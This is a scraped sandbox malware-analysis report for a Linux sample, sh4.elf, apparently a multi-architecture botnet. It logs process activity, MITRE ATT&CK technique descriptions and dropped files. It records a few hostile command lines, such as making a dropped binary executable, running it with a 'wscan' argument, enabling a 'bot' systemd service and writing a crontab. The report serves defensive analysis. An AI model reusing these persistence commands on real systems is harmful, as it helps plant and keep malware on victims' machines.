Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: chmod PID: 5575, Parent PID: 5434

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/usr/bin/chmod
Arguments:	chmod 777 x86_64
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

File Activities

File Opened

File Read

Permission Modified

Chronological Activities

Analysis Process: sh PID: 5576, Parent PID: 5434

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/usr/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 5576, Parent PID: 5434

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	/bin/sh ./x86_64 wscan
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5577, Parent PID: 5576

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

Chronological Activities

Analysis Process: sh PID: 5578, Parent PID: 5576

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 5579, Parent PID: 5576

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

Chronological Activities

Analysis Process: sh PID: 5580, Parent PID: 5576

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

Directory Enumerated

Chronological Activities

Analysis Process: sh PID: 5581, Parent PID: 5576

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 5582, Parent PID: 5576

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 5435, Parent PID: 5432

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: crontab PID: 5435, Parent PID: 5432

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/usr/bin/crontab
Arguments:	crontab -
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

File Activities

File Opened

File Read

File Written

File Moved

Permission Modified

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: sh4.elf PID: 5584, Parent PID: 5401

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/tmp/sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Process Activities

Process Overlayed (Exec)

Thread Sleep

Chronological Activities

Analysis Process: sh PID: 5584, Parent PID: 5401

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	sh -c "/bin/systemctl enable bot"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

File Activities

File Opened

File Read

Process Activities

Process Forked

Chronological Activities

Analysis Process: sh PID: 5590, Parent PID: 5584

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: systemctl PID: 5590, Parent PID: 5584

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/bin/systemctl
Arguments:	/bin/systemctl enable bot
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5407, Parent PID: 1

General

Start time (UTC):	12:08:05
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpgconf PID: 5407, Parent PID: 1

General

Start time (UTC):	12:08:05
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpgconf
Arguments:	/usr/bin/gpgconf --list-dirs
File size:	178848 bytes
MD5 hash:	ddc6865fed36b9020dfd6fe9d360ebbb

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5413, Parent PID: 1

General

Start time (UTC):	12:08:05
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpgconf PID: 5413, Parent PID: 1

General

Start time (UTC):	12:08:05
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpgconf
Arguments:	/usr/bin/gpgconf --list-components
File size:	178848 bytes
MD5 hash:	ddc6865fed36b9020dfd6fe9d360ebbb

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: fwupd PID: 5415, Parent PID: 1

General

Start time (UTC):	12:08:05
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpg PID: 5415, Parent PID: 1

General

Start time (UTC):	12:08:05
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpg
Arguments:	/usr/bin/gpg --version
File size:	1066992 bytes
MD5 hash:	3c2e7402cc788b3a878a1d2bea56afbf

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5417, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpgsm PID: 5417, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpgsm
Arguments:	/usr/bin/gpgsm --version
File size:	519416 bytes
MD5 hash:	66be603a7085efc7ee3140d2ff597485

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5419, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpgconf PID: 5419, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpgconf
Arguments:	/usr/bin/gpgconf --version
File size:	178848 bytes
MD5 hash:	ddc6865fed36b9020dfd6fe9d360ebbb

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: fwupd PID: 5421, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpg PID: 5421, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpg
Arguments:	/usr/bin/gpg --version
File size:	1066992 bytes
MD5 hash:	3c2e7402cc788b3a878a1d2bea56afbf

File Activities

File Opened

File Read

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5423, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpg PID: 5423, Parent PID: 1

General

Start time (UTC):	12:08:06
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpg
Arguments:	gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 24 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 26 --import -- -&27
File size:	1066992 bytes
MD5 hash:	3c2e7402cc788b3a878a1d2bea56afbf

File Activities

File Opened

File Deleted

File Read

File Written

Link Created

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5425, Parent PID: 1

General

Start time (UTC):	12:08:07
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpg PID: 5425, Parent PID: 1

General

Start time (UTC):	12:08:07
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpg
Arguments:	gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 24 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 26 --import -- -&27
File size:	1066992 bytes
MD5 hash:	3c2e7402cc788b3a878a1d2bea56afbf

File Activities

File Opened

File Deleted

File Read

File Written

Link Created

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5427, Parent PID: 1

General

Start time (UTC):	12:08:07
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpg PID: 5427, Parent PID: 1

General

Start time (UTC):	12:08:07
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpg
Arguments:	gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 23 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 25 --verify -- -&26 -&28
File size:	1066992 bytes
MD5 hash:	3c2e7402cc788b3a878a1d2bea56afbf

File Activities

File Opened

File Deleted

File Read

File Written

Link Created

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: fwupd PID: 5441, Parent PID: 1

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/usr/libexec/fwupd/fwupd
Arguments:	-
File size:	260616 bytes
MD5 hash:	9baeed1d7c56e92aea5277bdf8b4373f

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: gpg PID: 5441, Parent PID: 1

General

Start time (UTC):	12:08:08
Start date (UTC):	31/03/2025
Path:	/usr/bin/gpg
Arguments:	gpg --enable-special-filenames --batch --no-sk-comments --homedir /var/lib/fwupd/gnupg --status-fd 23 --no-tty --charset utf8 --enable-progress-filter --exit-on-status-write-error --logger-fd 25 --verify -- -&26 -&28
File size:	1066992 bytes
MD5 hash:	3c2e7402cc788b3a878a1d2bea56afbf

File Activities

File Opened

File Deleted

File Read

File Written

Link Created

System Activities

Query System Information (uname)

Network Activities

Socket Connecting

Chronological Activities

Analysis Process: dash PID: 5524, Parent PID: 3595

General

Start time (UTC):	12:08:37
Start date (UTC):	31/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5524, Parent PID: 3595

General

Start time (UTC):	12:08:37
Start date (UTC):	31/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.pLfCMWTILY /tmp/tmp.cg1emh4Zop /tmp/tmp.psmzQqD7sF
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 5525, Parent PID: 3595

General

Start time (UTC):	12:08:37
Start date (UTC):	31/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5525, Parent PID: 3595

General

Start time (UTC):	12:08:37
Start date (UTC):	31/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.pLfCMWTILY /tmp/tmp.cg1emh4Zop /tmp/tmp.psmzQqD7sF
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: systemd PID: 5592, Parent PID: 5591

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: snapd-env-generator PID: 5592, Parent PID: 5591

General

Start time (UTC):	12:08:54
Start date (UTC):	31/03/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/bins.sh

/memfd:snapd-env-generator (deleted)

/root/.bashrc

/tmp/armv4l

/tmp/armv5l

/tmp/armv6l

/tmp/i586

/tmp/i686

/tmp/m68k

/tmp/mips

/tmp/mipsel

/tmp/powerpc

/tmp/qemu-open.4ICm9C (deleted)

/tmp/qemu-open.5gSxdC (deleted)

/tmp/qemu-open.6W7tiF (deleted)

/tmp/qemu-open.7PheCB (deleted)

/tmp/qemu-open.7PnQ4F (deleted)

/tmp/qemu-open.7dfnqE (deleted)

/tmp/qemu-open.7tLdmC (deleted)

/tmp/qemu-open.859a0B (deleted)

/tmp/qemu-open.8Xk6GE (deleted)

/tmp/qemu-open.CQR33K (deleted)

/tmp/qemu-open.DlVvKD (deleted)

/tmp/qemu-open.EGgdaF (deleted)

/tmp/qemu-open.GJcmBB (deleted)

/tmp/qemu-open.HM9mOE (deleted)

Linux Analysis Report
sh4.elf